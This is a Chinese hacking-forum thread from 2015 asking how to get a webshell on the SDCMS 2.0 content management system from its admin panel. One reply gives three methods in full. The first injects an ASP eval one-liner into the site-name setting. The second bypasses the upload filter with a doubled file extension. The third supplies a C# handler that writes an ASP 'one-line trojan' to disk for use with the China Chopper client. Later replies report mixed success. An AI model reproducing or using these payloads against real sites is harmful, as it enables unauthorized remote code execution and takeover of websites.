SDCMS 2.0 后台怎么拿shell？？ 有人公开了！！
谁能实战拿下shell求方法！！！
链接地址和后台密码
**** Hidden Message ***** 第一种方法：
进入后台-->系统管理-->系统设置-->系统设置->网站名称;
把网站名称内容修改为 "%><%eval request("xxx")' //密码为xxx
用菜刀链接http://www.xxx.com/inc/const.asp就搞定了。
第二种方法：
进入后台-->系统管理-->系统设置-->系统设置->上传设置;
在文件类型里面添加一个aaspsp的文件类型，然后找一个上传的地方直接上传asp文件！ 注：修改文件类型后不能重复点保存！
第三种方法：
进入后台-->界面管理-->模板文件管理-->创建文件
文件名写入getshell.ashx
内容写入下面内容：
/====================复制下面的=========================/
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
file1.Write("<%response.clear:execute request(\"xxx\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
/=============================================/
访问这个地址：http://www.xxx.com/skins/2009/getshell.ashx
会在http://www.xxx.com/skins/2009/目录下生成getshell.asp 一句话木马 密码为xxx 用菜刀链接
你自己试下 红盟小渣 发表于 2015-7-19 17:52
第一种方法：
进入后台-->系统管理-->系统设置-->系统设置->网站名称;
把网站名称内容修改为 "%> ...
没有用 旧版的才有用 哇塞 本帖最后由 wuyan 于 2015-7-20 08:33 编辑
失败鸟 百度一下吧。。。。。。 应该很简单啊啊啊啊 = =什么意思 还要回复。 那个不是可以直接上传ASP吗你找个上传点不就行了 楼主。你可以联系我么。我有后台拿shell方法！